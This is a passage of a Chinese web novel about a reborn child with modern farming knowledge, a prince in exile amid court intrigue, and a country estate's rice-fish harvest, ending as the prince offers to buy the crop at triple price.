萧执像是知道其中内容似的,脸上没有半分意外之色,还心情轻松,轻轻勾了勾嘴角,那笑意却未达眼底。
他把信笺再推向旁边的师兄,自顾自地说,“无非让他们狗咬狗罢了。”声音淡淡的,像在说今儿个天气不错,可那攥着袖口的指尖,指节已经微微泛白。
“这些参奏的人分成两派,一派参太子此次救灾赈灾不力,光是京城及辖区四县就**几万人,直至现在,很多百姓食不果腹,更没收到朝廷无偿供给的粮种,尚未恢复春耕生产。”
孟怀瑾拿起信笺,清了清嗓子,尽量让声音平稳,可读到“几万人”时,还是忍不住顿了顿,再看向萧执,才继续往下念,声音不自觉地放低。
“三皇子联合兵部运往军营的粮草和衣物,不是数量不够,就是粮食到了军营发霉,或者沙石参半,根本就没办法食用。棉衣不能保暖,病死饿死士兵无数,有的被迫做了逃兵。”
念到最后几个字,他的声音已经有些发涩,眼前仿佛浮现出那些冻饿而死的士兵,和他们再也见不到家人的眼睛。
都到这里,沉默良久。
“这事,皇上会如何决断?”孟大川担心地看向他们,那双粗糙的大手,此刻微微颤抖着抚过信笺边缘。他还刻意多看了一眼萧执,目光里有担忧,有询问,还有一丝不易察觉的心疼——这孩子,心里该有多苦?
毕竟已经成年的皇子只有太子和三皇子两个,朝堂上的每一次震荡,都与眼前这个少年息息相关。再想到他幼年失母,又不得皇上疼爱,还要躲避兄弟的**,心里涌起一阵感同身受的苦涩。
萧执自嘲地笑了笑,那笑容里有与年龄不相符的沧桑。在看向孟大川和杨大儒时,他的眼神格外清明,“这一次治不死他们的。他们肯定会找人顶罪,不会有事。父皇掼会**平衡之术,受苦了不过是百姓和军中士兵罢了。”
然后咬着下唇,偏过头看向另一处,窗外的阳光正好,投在他小小的侧脸上,却照不进他眼底的阴霾。那眼中似有泪光闪烁,却倔强地不肯落下,只是喉结微微颤动,半晌无言。
孟怀瑾深吸一口气,继续往下读,试图用平稳的声音冲淡这沉闷的气氛:“雪灾过后,不少灾民反而南迁,江南望族、富商联合起来,给南下的灾民捐粮捐物,甚至安置他们第一年免租佃种土地。”读到这里,他的声音不自觉地扬起了一些,仿佛在黑暗中看到了一丝光亮。
杨大儒看向嘴角微微挑起、神情明显松弛了些的萧执,眼神有些古怪,带着点质疑的语气,“必有叶家的手笔。”那双老眼里闪烁着洞察的光芒,仿佛能看透这些手段背后的每一只手。
萧执却微微一笑,那笑意终于真正抵达了眼底,“自然也少不了花家这个推手。”他看向孟大川,目光里多了几分深意,那眼神仿佛在说:您明白了吗?事情正在往好的方向发展。
忽然提
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到花家,孟大川先是一愣,再看向对面的儿子时,两人眼里都露出果然如此的神情,肩头忽然一松,像是卸下了千斤重担。孟大川甚至长长地吁了一口气,那紧绷了多日的眉头,终于舒展开来。
最后,孟大川眼神忽然一凛,像是下定了某种决心。他整了整衣襟,忽然跪地冲萧执郑重一拜,额头几乎触及地面,语气诚恳而坚定,每一个字都像是从心底凿出来的:“秋收后,孟大川一家马上南下,定不负使命,劳烦六殿下安置。”那伏在地上的身影,透着破釜沉舟的决绝。
听到此言,孟怀瑾忽然心惊,心跳漏了一拍,随即也猛地站起来,马上在父亲身旁重重跪下,朝面前的师弟深深叩首,额头触地有声。这一拜,大有对六皇子俯首称臣之势,也包含了他们一家对未来的全部托付。
进了七月中下旬,稻花鱼已经长到三指大,在稻田里欢快地游弋,偶尔跃出水面,带起一串晶莹的水珠。
禾苗开始抽穗,嫩绿的穗子在阳光下泛着柔和的光泽,风一吹,整片稻田便涌起层层绿浪。
阿沅和小伙伴们忙得脚不点地,她天天不跟爹娘打招呼就往田地里跑,有时候饭都不回家吃。早上天刚蒙蒙亮,就能看见她小小的身影穿过院子,后面跟着莲花和红袖。
日头升高了,她就蹲在田埂上,斗笠歪到一边,小脸上沾着泥点子,却笑得比谁都开心。
除了教导佃户们防虫除草——阿沅总能及时发现哪片叶子生了虫,哪块田的稻子有些发黄,指挥起大人来头头是道——就是捉鱼摸虾。
她在溪水里趟来趟去,裤子湿了半截也不在乎,小手往水草里一摸,便能掏出一只肥美的青虾,惹得黑丫在旁边拍手叫好。过得很是惬意。
黑丫除了会种地,炸鱼也很拿手,那鱼炸得金黄酥脆,隔老远都能闻到香味。
她还跟着小姐学会了烤鱼、荷叶焖鱼焖虾。阿沅蹲在溪边,亲手教她怎么用荷叶把鱼虾包严实,怎么糊上泥巴,怎么掌握火候。莲花也学得认真,有时候被烟火熏得眼泪直流,却还是咧着嘴笑。
第144章 杨大儒生气
只是,佃户们对阿沅已经不再像从前那样小心翼翼,虽然心里仍然崇敬——这小小的人儿,懂得比他们这些种了一辈子地的还多。
但偶尔也有埋汰。歇晌的时候,大家坐在田埂上,一边啃着干粮,一边拿阿沅打趣。
“禾宝,您的脸晒得跟我们种地的泥腿子已经差不多了。哈哈哈!”一个老佃户咧着缺了牙的嘴,笑得眼角的皱纹都挤在一起。
“莲花和红袖也是,都快赶上黑丫了。”另一个年轻的媳妇接话,惹得莲花红着脸追着她打。
“禾宝不就是种地的么?”阿沅一点都不在乎,她抬起小手抹了把脸上的汗,留下几道泥印子,小脸上满是得意。
她现在学会了点功夫,狗爬也能游出几丈远,都敢在溪水里凫水摸田螺了,正高兴着呢。前两天她们还摸了半桶田螺,让黑丫炒了,吃得满嘴流油。
“日后回了京城,别不被误认为是山野丫头。”有个佃户故意逗她,眼里却满是慈爱。
“要你们管,只管多打粮食就是,话多。”每当这种时候,红袖和莲花总护着小姐,两人双手叉腰,活像两只护雏的老母鸡。
被说得急了,连手上的鱼虾都往人家身上招呼,整得人人躲闪不及,甚至接住,连声玩笑说,再多砸点才够一盘,笑声一片。
庄子里的生活是快乐的,没有朝廷纷争,没有后宅争斗,没有人用奇怪的眼神打量她,也没有人在背后嚼舌根。再加上衣食住行皆有人去操心,阿沅吃吃喝喝,不忘娱乐,还和孟大川教会了佃户不少种地的知识。
有时候夕阳西下,她坐在田埂上,看着金色的余晖洒在稻浪上,闻着空气中泥土和稻花的清香,听着远处佃户们收工时的说笑声,心里暖融融的。
她甚至萌生这样的想法:若不是为了复仇,一直在这庄子里住着也挺好的。
“安子,阿沅都出去了,你怎么还在这磨蹭?”萧执从书房出来,抬眼便看见小安子正蹲在廊下,不知道在忙活什么。
这一声不轻不重,又带着威严的问话,吓得小安子手一抖,手上木棍差点掉在地上。蹭地站起来,脸上挤出一个比哭还难看的笑:“殿、主子,奴才这就去,这就去!”
心里却叫苦不迭:方才明明瞅着阿沅姑娘还在院里逗蛐蛒,怎么一眨眼就没了影?这下可好,又要被殿下念叨一整日了。他一边往外跑,一边手忙脚乱地拍打着袖子的灰尘,脚下生风,生怕晚了一步:庄子里好是好,就是多了个需要伺候的小祖宗。
阿沅的那次遭劫,虽说是虚惊一场,却在萧执心里落下了病根儿。那日寻不着她时的焦灼,至今想起来胸口还隐隐发闷。
但凡是不跟杨大儒读书的时候,他总要绕着阿沅的小身影跑。有时是在田埂这头,看她蹲在那边跟佃户家的孩子一起挖蚯蚓;有时是在菜园边上,瞧她踮着脚够架子上的豆角,够不着便蹦两下,像只急红了眼的小兔子。
即便隔着老远,只能看见一个小小的、忙碌的影儿,他心里也觉得舒坦,像是揣着的一块石头落了地。
实在抽不出空的时候,守候阿沅的任务便又落到了小安子身上。倒不是不放心阿沅身边的丫鬟和暗卫,而是萧执自己心里那点说不出口的念头。
他想第一时间知道她在干什么。今儿是蹲在田埂边发呆?还是又跟佃户家的孩子吵了嘴?这些鸡毛蒜皮的小事,他听着,嘴角便会不自觉地上扬。
“孟大人,老夫怎么觉得……阿沅掌握的种稻知识并不在你之下。”
这一日,日头偏西,暑气渐消。杨大儒负着手,与孟大川一前一后在田埂上踱步,后面还跟了孟怀瑾和萧执。
稻田里的水映着天光,一片亮汪汪的绿。大儒的脚步
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忽然顿了顿,眯起眼,望向不远处那个小小的身影——阿沅正蹲在田埂边,身边围着三四个佃户,她伸出一根短短的手指,指着稻叶上的一只虫子,小嘴一张一合,说得起劲。
那几个佃户竟还不住点头。杨大儒看了一会儿,拈着胡须的手停住了,脸上的神色变得微妙起来,像是忽然发现自家的猫会说人话。
“这……”孟大川被这突如其来的一问弄得有点语塞,脚步也滞了滞,有点担心地抬起头。
他抬手擦了擦额角并不存在的汗,干笑一声,答得有些牵强,“在下平日里读农书时,阿沅也喜欢翻翻看看,也许是耳濡目染,听了,就记住了。”这话说出来,他自己都觉得底气不足——那丫头翻农书的时候,分明都是对他威逼利诱,甚至说,如果她这个爹不好好学,就拿书册叠纸船,或是扔茅坑里去。
“嗬!”杨大儒从鼻子里哼出一声,脸上的褶子都板了起来,一点不买账,语气里甚至带了点气鼓鼓的意味。
“老夫教她的《千字文》,她可记不住!昨儿个问她‘天地玄黄’下一句是什么,她倒好,眨巴着眼跟我说:“先生,田里的稻穗可大可粗了,沉甸甸的,我想去看看。”
大儒越说越来气,胡子一翘一翘的,“多写两张大字她都不肯,让她描红,她拿着笔在纸上画圈圈,说是‘稻穗’!老夫活了这么大岁数,头一回见着这么会偷懒的娃娃!”
看大儒这副架势,大有盘根问底、不达目的不罢休的意思。
萧执心里一紧,连忙开口帮阿沅说话。他往前站了半步,脸上难得堆起笑来:“先生,阿沅天天跟佃户们混在一处,今儿帮着除草,明儿跟着捉虫子,原本不懂的,看也该看懂了。您没瞧见,庄子里五六岁的孩子,哪个不会种地?”
他说得轻巧,仿佛这是再寻常不过的事。
第145章 她就是我亲孙女
其实阿沅对种地的这股子超乎寻常的执着,萧执早就看在眼里。她天天往稻田里跑,有时候连鞋子都不穿了。
跟人说起种稻来,头头是道,什么“要浅水”,什么“抽穗扬花怕大雨”,有些词儿他听了都一愣一愣的。
有一回,他亲耳听见阿沅跟佃户说:“这稻子啊,就跟人一样,小时候得惯着,大了就得管着。”把那几个佃户听得直咧嘴笑。
这一点萧执早就注意到了,也觉得有点诡异——一个三岁的小娃娃,话都说不利索的时候,就知道往稻田里跑,这搁谁不纳闷?但他从没有提出过疑问,也从不往别处想。
他只是觉得,阿沅大概是对种水稻有一种旁人没有的偏爱,就像有的孩子爱吃糖,有的孩子爱爬树。至于那些怪力乱神之说,他更不会往这个软乎乎、圆滚滚的小娃娃身上套。
谁敢乱说,他第一个不依。
即便是先生,若真起了疑心,敢往外胡说,他萧执也必定会怼回去。但这会儿,他只想用最合理的解释,把阿沅那些“不合理”的地方都圆过去。反正,在他心里,阿沅做什么都对,做什么都有理。
“即便阿执原本四体不勤,五谷不分——”萧执顿了顿,指了指自己,又指了指远处的田埂,“得了孟大人的言传身教,又亲自体会了农户的辛勤劳作,如今也能分出稻子和稗子了。何况是我们聪明机灵的阿沅?”
他说着,嘴角已带上了笑意,眼里的光柔和得不像话,“她那是用心,先生该夸她才对。”
杨大儒听他这一番话,先是愣了一愣,继而抚着自己花白的胡子,忍不住笑出声来。
他故意板起脸,做出不高兴的样子,却掩不住眼角的笑意:“反正殿下从来不会认为阿沅有错就是了。老夫让她多写两张大字,或是多读两页书,你总在旁边帮腔,让她偷懒。殿下别不是想把她宠成个废柴吧?”他嘴上这么说,心里却觉得这六皇子疼起人来,还真是没边没沿的。
许是小时候受了太多苦,不想要小妹妹受太多苦。
说到这个,萧执心里立刻浮现出阿沅偷懒时的种种模样:小嘴一嘟,软软糯糯地说“先生,阿沅手酸了”;眼睛眨巴眨巴,可怜巴巴地望着他。
或者干脆把笔一放,蹭到他身边,抱着他的腿说“哥哥,阿沅饿”。每一回,他都扛不住,必会帮她解围。
“先生,可以了。”他笑着开口,语气里带着哄劝,“让她回去吃块点心吧?小娃娃容易饿,饿着了不长个儿。”
“可以了,可以了。”有时候,他朝大儒摆摆手,一脸纵容,“再写下去,今晚都提不起筷子了。回头饿坏了,又该哭鼻子。”
“阿沅,姨母刚刚冲你招手呢,先出去吧。”那语气,比大儒吩咐他读书时还急切三分。
这种时候,杨大儒总是吹胡子瞪眼,做出一副威严模样,却奈何不了眼前这个身份尊贵的六皇子。他瞧着萧执那副护犊子的样子,心里又好气又好笑,觉得这偏爱,大有把阿沅养成个小懒虫的势头。
“女娃娃就应该娇养着的。”萧执终于顺着话头把方才的话题绕了过去,和孟大川对视一眼,两人都暗暗松了口气。
他又添了一句,语气里带着三分讨好,“也就是先生您,家里没有女娃娃。不然肯定也是可劲地疼,比阿执还过分。”这话说得巧妙,既拍了先生的马屁,又把阿沅的事轻轻揭过。
“谁说我家没有女娃娃?”杨大儒一听这话,立刻不服气地扬起下巴。他想到已经被迫去了江南的家人——那两个淘气得不行的小孙子,整日上房揭瓦、下河摸鱼,哪有半分女娃娃的乖巧?
可这当口,他偏偏说出了一句无赖话:“阿沅就是我亲孙女!我杨家的!”说完还瞪了瞪眼,仿佛真要跟人抢孙女似的。
“先生,这事当真?”孟大川愣了一下
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,随即朗声大笑起来,笑声在田埂上传得老远,“那得行个认亲礼才行!不过——”
他故意拖长了调子,冲杨大儒挤挤眼,“还得我家娘子同意,我家阿沅可是要收礼的。先生到时候可别心疼银子!”说完又是一阵大笑,全把先生这话当成了无心之词。
杨大儒被他笑得脸上挂不住,哼了一声,甩甩袖子,大步往前走去。一面走还一面嘀咕,“欺负老夫,现如今没有好东西傍身。”
可走出几步,又忍不住回头,朝田埂那边的小小身影望了一眼,脸上的神色不知不觉柔和下来。
佃农们卖完田里的稻花鱼,户户都小赚了一笔,那可是以前都没有的。
有的数着铜板盘算给娃扯块花布,有的把银钱藏在瓦罐里埋到床底下,夜里睡不着一遍遍摸那罐口。
他们对大房一家更是佩服得五体投地,见了孟大川和夫人就鞠躬,见了阿沅更是恨不得把她供起来。
于是人人想方设法给禾宝送点小东西,这家送把炒花生,那家塞块麦芽糖,禾宝的衣兜从早到晚都是鼓囊囊的,走起路来哗啦响,活像只储满冬粮的小仓鼠。
自家种的,晒的,厨房里做的吃食,就是手边的东西也变着法子一天一个样。李婶子大清早烙了葱油饼,用荷叶包着守在路口;王婆婆把仅剩的那罐蜂蜜挖出一半,装在洗了又洗的胭脂盒里送来;连最抠门的张跛子,都从篱笆上摘了最大那条黄瓜,用衣襟擦得锃亮才敢递过去。
往年八月底九月初还会开放的鲜花,如今天天一大早就只剩下花梗——全被庄子里的小子们霍霍给禾宝了。
那些半大小子天蒙蒙亮就爬起来,蹑手蹑脚溜进自家院子,把开得最好的那几朵摘了,然后撒腿就跑,生怕被爹娘逮着骂败家。
等大人们起来喂鸡时,只能对着光秃秃的花梗哭笑不得,却因为知道是给小禾宝,没有人会说上一句。
第146章 丰收在望
树上的枣子、柿子除了晾晒,更是不要钱地往禾宝跟前送——那枣子拣最大最红的,用井水洗过三遍,个个晶亮;柿子挑最软最甜的,垫了软草装在竹篮里,生怕碰破一点皮。
就连往年要挑到镇上换盐巴的那几棵最好的,如今也全进了禾宝的小肚子。谁都不似往年那般抠抠搜搜,不敢拿出来见人。
连带住在大宅里的下人都沾了不少光——佃户们送东西时总要多带些,说是给禾宝尝鲜,其实禾宝那吃得完?最后都便宜了一院子的人。
他们私下都说,一入秋就胖了一圈,腰带都松了两个眼儿。
成为团宠的感觉真好,禾宝还是天天屁颠屁颠地往外跑,两条小短腿捣腾得飞快,被一如往常众星捧月。
禾宝就像只快乐的小蝴蝶,在庄子里飞来飞去,身后除了几个跟班,还总跟着一串流鼻涕的小尾巴,这个喊“禾宝姐姐”,那个叫“禾宝妹妹”,闹成一团。
“今年真是丰收了,这沉甸甸的稻穗几何见过?”一个老汉蹲在自家地头,眯着眼瞅着金黄一片的稻田,满是褶子的脸笑成一朵菊花,光是看着都开心。
他一会儿站起身用手掌比划稻穗的长度,一会儿又蹲下托着稻穗掂量分量,嘴里啧啧称奇:“我种了五十年地,没见过这么好的稻子!”
“就担心那天稻梗支撑不住,稻子会倒伏。”一个婆子恨不得上手帮忙,双手合十对着老天爷拜了又拜,天天祈祷着不要刮风不要下雨。
很多老人晚上睡觉都支着耳朵,听见风刮树叶响,就一骨碌爬起来扒着窗户往外瞅;听见雨打瓦片声,更是提心吊胆,恨不得拿被子把稻田盖上。
“谁说不是呢,要不要插点树枝竹条借点力?”有人急病乱投医,忙着出主意,还比比划划地说在哪见过人家这么干,说得煞有介事。
“你以为种树还是种豆子呢?这么多的稻穗怎么借力?那不得一亩地插上千枝万枝!”旁边的人翻个白眼,一句话把他噎了回去,众人哄笑一阵,可笑了之后又是发愁。
“大老爷,禾宝,要不还是提早割了吧?”庄头林伯也有佃户一样的顾虑,眉头皱得能夹死苍蝇。
他最难的是应对不了佃户们天天来问、天天来缠——清早开门,门口蹲着三五个;晌午吃饭,端着饭碗来找;晚上收工,又堵在路口。
这个说“林伯你去说说”,那个说“庄头你拿个主意”,林伯被缠得头昏脑涨,想了几个晚上,眼袋都熬出来了,最后实在扛不住,还是硬着头皮找上了主家的门,把自己的想法说了出来。
说的时候不停搓手,眼巴巴瞅着孟大川再瞅瞅禾宝,那模样比佃户还佃户。
第一次种田的孟大川没了主意,但还是强装镇定看看林伯,最后习惯性地把决定权转给了阿沅——小禾宝。
“庄头伯伯,不急不急。”阿沅不慌不忙,奶声奶气地说着,小手还在背后一背,活像个小大人。她天天都在稻田里跑,哪能不知道稻谷的成熟状况?昨个儿一早还掰了几颗稻粒塞进嘴里嚼,小腮帮子一鼓一鼓的,尝了又尝,砸吧砸吧小嘴,心里有数得很。
虽是用了后世的粮种,但是可能是受了气候、土质,还有天然肥料的影响,稻谷成熟的时间比她预估的要慢。前两天她掰了几颗往嘴里咬,米浆还没收完呢,咬开是还有白浆,黏糊糊的,怎么都还得再等上个三五天,才是最佳收获的季节。
这事她心里门儿清,只是没法跟大人们解释那么清楚,只好奶声奶气地安慰他们。
“爹爹,我们再去看看。”阿沅仰起小脸,乌溜溜的眼珠一转,伸出小手拉了拉孟大川的衣摆。当爹的哪能不知道她的小心思,马上听话地蹲下身子,大手一捞,轻轻松松把她往肩膀上送。
阿沅稳稳当当地骑上老爹的脖子,小手抱住他的额头,乐得咯咯笑,小脚丫还一晃一晃的,指挥他往外走。
又是三个月的调养加锻炼,孟大川现
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在早已行走自如,步履稳健,只是不能过于劳累——若是那天上午下午都在田地里跑,晚上躺下时腰腿还是会有点酸痛。
领兵打仗应是不可能了,但陪着闺女在庄子里转悠,把她扛在肩上看稻谷,根本就没问题。
他走几步还要颠一颠,逗得阿沅笑得更欢,清脆的笑声飘在稻田上空,惹得佃户们都抬头看,也跟着咧嘴笑。主家高兴,他们也高兴。
这稻谷的长势,庄子里人人都满意,就连几岁的孩童都看得出明显跟往年的不同——往年这时候稻穗也就半拃长,稀稀拉拉的;今年一拃都打不住,沉甸甸地垂着头。
可阿沅还是有点不满意,她骑在爹爹肩上,小眉头微微皱着。穿越前秋收的季节,他们都会往试验田里跑,穿着白大褂拿着记录本,也会在鱼米之乡看机械收割水稻的大片,联合收割机轰隆隆开过去,稻谷哗啦啦流进车斗,就为了获取种植成效的第一手数据。
古代农人们看着的大丰收,对比现代来说,产量还是大打折扣。
明明可以亩产千斤的稻种,现在看来最多亩产也肯定超不过六百斤——这还是在风调雨顺、肥料充足的情况下。
佃户们恨不得要给增加支撑的稻穗,也不过现代的一大半而已,以前在实验室他们可是专门摘下来称过的,大的稻穗,一穗都有三到四两,而且微风细雨,根本就不担心掉粒。
那时候她还托着小下巴想了半天,琢磨着觉得还是肥料的问题。
但是因为萧执和杨大儒的一句话:若是家家都能种出这样的水稻,大康朝就没有百姓饿肚子。
有这句话,孟沅高兴了,荣誉感、自信感爆满,起码也为古代出了点力。
她骑在爹爹肩上,弯着眉眼笑起来,露出几颗小米牙。是啊,亩产六百斤又如何?在这年头,能让一庄子人吃饱饭,让佃户们脸上有笑,让爹不再发愁,那就够了。
以后推广,自然不能靠他们一家之力。
第147章 你笑起来真好看
林伯又招来了几个老把式,都是种了一辈子地的。他们陪着孟大川和阿沅在庄子里走了一圈,从东头到西头,又从南边到北边。每到一块地边,就停下来蹲下身,掐几颗稻粒放在手心搓,搓掉谷壳露出米粒,然后放进嘴里嚼,眯着眼细细品味。
又搓又尝,仔细看了几块地的水稻成熟状况,几个人还凑一块嘀咕了一阵,最后禾宝在孟大川耳朵里嘀咕,孟大川。站起身,拍掉手上的谷壳,有了定论:“让佃户们做好准备,三天后全面收割。”
几个老把式都点头,陈伯还补了一句:“再晚就怕刮风,这几天的天看着有点紧。”
其余的三个庄子,由于比嘉禾庄种植早了三四天。得了大人的话,孟柒也马上差人,快马加鞭过去吩咐,让那边这两天马上组织收割。
临走时孟柒还追着喊:“告诉庄头,误了农时我拿他是问!”
得了这个消息,整个庄子的人,个个洋溢着笑脸。有人当场就拍着大腿笑起来,上了年纪的乐得直抹眼泪,连最沉默的张跛子都咧着嘴嘿嘿直乐。一时间,庄子里像过年一样热闹。
“把刀再磨一磨,第三天天没亮,我家就要开始干活。”李老栓蹲在门口,把几把镰刀都拿出来,霍霍地磨着,一边磨一边对着刀口吹气,试试锋不锋利。
“石碾子得拉出来了,晚上也要接着干。”几个后生已经去库房抬石碾子,一边抬一边盘算着怎么轮班,谁上半夜谁下半夜。
“耕牛也得给它加餐,禾宝前些日子说过,收割后的稻田也不要浪费,多种点薯类和青菜,赶得早了,还可以多种一茬。不但可以囤着入冬,还能卖钱。”
周婶子掰着指头算,她家那几块地种什么合适,红薯还是萝卜,土豆还是白菜,盘算得仔仔细细。
“到时候除了留点过冬,草垛全都烧了。一犁一耙,烂叶子和青菜梗子还可以呕肥,明年开春的肥料也解决了。”几个老把式凑一堆,已经开始商量怎么积肥,挖几个坑,什么时候翻,说得头头是道。
佃户们又开始活跃起来,除了计划怎么收割晾晒,也听从老北军医的建议,上山踩点草药以备熬制凉茶——老军医说了,秋收时节最是劳累,容易中暑上火,得备着点金银花、薄荷、甘草,到时候大锅熬了,一人一碗,喝着解乏。
于是几家婆娘约好了,明天一早就带半大孩子上山,背篓都准备好了。
晚饭后,阿沅借着消食的借口,又打算往外跑。
她小手背在身后,迈着两条小短腿,走得一本正经,像是真有什么大事要办似的。
天还没黑沉,西边烧着一大片橘红的晚霞,把整个庄子都染成了暖洋洋的颜色。
这时候出去,借着踱步的功夫,可以看家家户户升起的炊烟,细细的、直直的,像有人在天空画线;还能听见庄子里的狗吠,东一声西一声的,热闹得很。
这时候才是佃户们忙碌一天后归家的时间。阿沅看见远处田埂上有人扛着锄头慢悠悠地走,身后跟着个扎羊角辫的小丫头,蹦蹦跳跳的,手里还攥着把野花。她看得眼热,脚步又快了几分。
走了十几步,忽然听见身后紧紧跟随的脚步声——却不是红袖往日那种细碎的小碎步,也没有她一贯的、絮絮叨叨的体贴话。那脚步声沉稳有力,一步跟着一步,踏得实实在在的。
阿沅诧异回头。
“阿执哥哥?”她仰起小脸,眼睛瞪得圆溜溜的。
萧执紧跟在后面,不紧不慢,却距离她不过两步远。他今日穿了件半旧的青灰色袍子,袖口挽得整整齐齐,露出两截白皙的手腕。
夕阳打在他侧脸上,把那看着很漂亮的轮廓镀上了一层柔和的金边。
红袖被迫落后几步,垂着头,眼观鼻鼻观心,不敢靠得太近。
实在是这个小哥哥太得大老爷看重,而且那张脸除了对小姐和夫人,对谁都是冷着的——偏偏又对小姐喜爱得很。
红袖心里明镜似的,这时候凑上
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去,不是招人嫌么?远远跟着就是了。
恰巧农人收工回来,庄子里有一段静谧的短暂时光。有虫鸣从草丛里钻出来,细细密密的;有炊烟从各家屋顶升起来,袅袅地往天上飘;有时候还有成群的麻雀从这棵树飞到那棵树,叽叽喳喳地开大会。这会儿天边烧着红霞,谁见了都忍不住出来走走,站着看一会儿。
但这种时候,爹爹和娘亲喜欢一起去往寂静的围墙边花前月下——阿沅亲眼见过的,爹爹偷偷掐了朵石榴花簪在娘亲鬓边,被娘亲嗔怪地拍了一下。所以她不喜欢跟。
杨大儒则喜欢带着哥哥和眼前这个六皇子一道散步,谈论古今,什么之乎者也的,阿沅一个字都听不懂,所以她不喜欢跟。
而阿沅身后,往常跟着的要么是红袖,要么是刚好也吃完饭赶得上的莲花,再走出去,顶多再来条庄子里的**黄狗,摇着尾巴跟在最后头。
所以,萧执跟来,孟沅奇怪。
她停住了脚步,仰头看他。
阿执哥哥又长高了,原来肉肉的脸现在变长了,像田里的稻子似的,一天一个样。
他晒得没她那么黑——她成天在外头野,脸上都快赶上灶王爷了——阿执哥哥还是那么漂亮,眉清目秀的,只是好像瘦了些,脸上多了点浅浅的棱角,下颌线比从前分明了。
此刻他正低头看着她,脸上是她最熟悉的那种温和宠爱的笑容,右脸颊上那个小酒窝深深地陷进去,像是藏了蜜。
阿沅忍不住踮起脚,伸出短短的手指头,朝那个小酒窝戳过去,“阿执哥哥,你笑起来真好看。”
一下,软软的。
两下,还是软软的。
第三下还没戳着,几根小胖手指就被萧执轻轻握住了。他的手比她的手大一圈,掌心干燥温热,把她整个拳头都包在里面。
他没说话,只是牵着她往外走。
“我们去那边,坐田埂上看夕阳。”萧执说,声音比往常低一些,像是商量,又像是哄。
第148章 三倍的价格买粮种?
“好的。”阿沅被他牵着,小短腿倒腾得飞快,“那…阿执哥哥帮我编只小狗!”
这个时节田埂上最多狗尾巴草,毛茸茸的,一拔一大把。萧执手巧,三两下就能编出小狗小兔子来,阿沅最喜欢这个。她仰着脸,眼巴巴地等着他点头。
“好!”十岁的少年回答得很干脆,嘴角弯了弯,那个小酒窝又露出来了。这要求对他而言不过是信手拈来,算不得什么难事。
他低头看阿沅——小丫头眼睛亮晶晶的,满脸都是期待,比他见过的任何一样东西都让人挪不开眼。他想,就算她要天上的星星,他也会想办法去摘的,更别提几根狗尾巴草了。
两人左拐,闲逛了几十步。阿沅叽叽喳喳的,像只不知疲倦的小麻雀,一会儿问“阿执哥哥你看那朵云像不像大公鸡”,一会儿又问“阿执哥哥你今天跟杨先生学了什么呀”。
她问得快,萧执答得慢,却是有问必答,认认真真的。只是他今日话比往常还少,时不时垂下眼,像心里装着什么事。
走着走着,阿沅往田埂那边跑了两步,忽然停住了。她回头看看稻田,又看看萧执,皱着小小的眉头想了想,折返回来。
“不坐田埂啦?”萧执问。
“不坐啦。”阿沅一本正经地说,“没割稻谷,碰到稻谷手背会发痒的。阿执哥哥的手会痒,我的手也会痒。”
萧执笑,小家伙天天往地里跑,虽然都是刻意穿的长裤长袖。可是哪里怕什么稻谷扎手?可阿沅说的是“阿执哥哥的手会痒”,是把他放进她的惦记里了。
他心里忽然软了一下,像是有什么东西化开了。
最后他们没坐在田埂上,而是在不远处的坡地上找了两块光滑的大石头。萧执先用袖子把石头面擦了擦,才让阿沅坐上去。两人并肩坐着,阿沅的脚还够不着地,悬在半空中一晃一晃的。
“阿执哥哥,”阿沅忽然开口,声音脆生生的,“天上起鱼鳞,太阳晒裂天,明天割稻谷刚刚好。”她一高兴,小嘴一秃噜就说出来了。说完还得意地晃了晃脑袋,等着萧执夸她。
萧执诧异地盯着她——这小丫头提起天气,那神情比吃了酥糖还高兴,眼睛亮得像点了灯。他怎么看都觉得,这话不像是从三岁小娃嘴里能说出来的。
“有这种说法?”他问,语气里带着点好奇,更多的是藏不住的笑意。
阿沅脸不红心不跳,理由直接往外推:“佃户爷爷说的!”她才不怕呢,就不信古代的农夫不懂这种关于天气的谚语。至于具体是哪个佃户爷爷说的——反正没人会深究。要是真有人深究出来,她也不记得是谁家的,到时候就往人堆里一指:反正就是那个爷爷!
萧执哪里会深究!比起阿沅会种地那档子事,还有不懂从哪拉来的禾苗,那才叫吓人,三岁的小丫头跟老佃户聊起育秧施肥头头是道的——这点小聪明根本就不算事。
两人头碰着头,研究起天上的云。一起看那一片片的红云从鱼鳞状慢慢被风吹散,有的变成奔跑的马,有长长的鬃**;有的变成狐狸,拖着蓬松的大尾巴;还有的变成胖乎乎的兔子,蹲在天边一动不动。
阿沅每认出一个,就兴奋地拽萧执的袖子:“阿执哥哥你看!真的很像,是吧?”然后换来的是头顶一阵揉搓。
夜幕即将降临,天边的红霞渐渐暗下去,变成了深紫色。萧执忽然转过头来,神情无比认真,那双眼睛定定地看着阿沅,像是下了很大决心似的。
“阿沅,”他说,声音放得很轻,“哥哥跟你商量件事。”
“什么事呀?”阿沅正看得入神,忽然觉得自己的发顶被一只大手揉了揉。她赶紧捂住脑袋,抬眼一脸警惕地瞪着他——她可听红袖说了,老揉脑袋以后会秃噜头的!她可不想变成秃子!
“鬼灵精。”萧执被她那小眼神逗笑了,又忍不住揉了揉她的发顶,还刻意加重了语气,“哥哥只是商量,不会强夺。”
“强夺?”阿沅更是莫名其妙,小手还捂在脑袋上,眼睛却滴溜溜地转。
这破庄子,有什么可夺的呀?鸡鸭鹅狗?还是田里的稻子?你想要拿了就是呗!而且有什么需要,不
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是应该跟爹爹这个家主说么?跟她一个小丫头商量有什么用,好像她能做主似的。
小家伙不高兴了。她把手垫在膝盖上,下颌又顶住手背,低着头开始数地上的蚂蚁。一只,两只,三只……那只大的真能吃,拖着的虫子比它自己还大。
萧执觉得好笑。他看着那小脑袋,毛茸茸的,像只闹脾气的小兽。他又一次伸手揉了揉——这回换来阿沅猛一抬头,结结实实地瞪了他一眼。
“到底是什么嘛——”小丫头闷声闷气地开口,尾音拖得长长的,明显还在为秃噜头的事不高兴。
萧执收起笑,认真地看着她。
“阿沅能不能帮哥哥跟孟大人商量?”他一字一句说得极慢,像是怕她听不懂似的,“就说,这几个庄子收上来的稻子,全部卖给阿执哥哥。”他又刻意加重了语气,“阿执哥哥以市价三倍的价格收,好不好?”
阿沅眨眨眼。
三倍?
她当然一点都不觉得诧异,毕竟这一季的稻谷长得太好了,主要是古代没有。
空间里的种子拿出来的,能不好么?颗粒饱满得像一颗颗小珍珠,碾出来的米煮粥,能香出二里地去。这样的稻谷,自然是非常好的种子,傻子才不想要呢。
她心里忽然又感叹了一下——杨大儒的眼光真好,慧眼识人。这位六皇子殿下,别的不说,这份眼力劲儿是有的。佃户们只为多打了粮食高兴,哪里会想那么多。
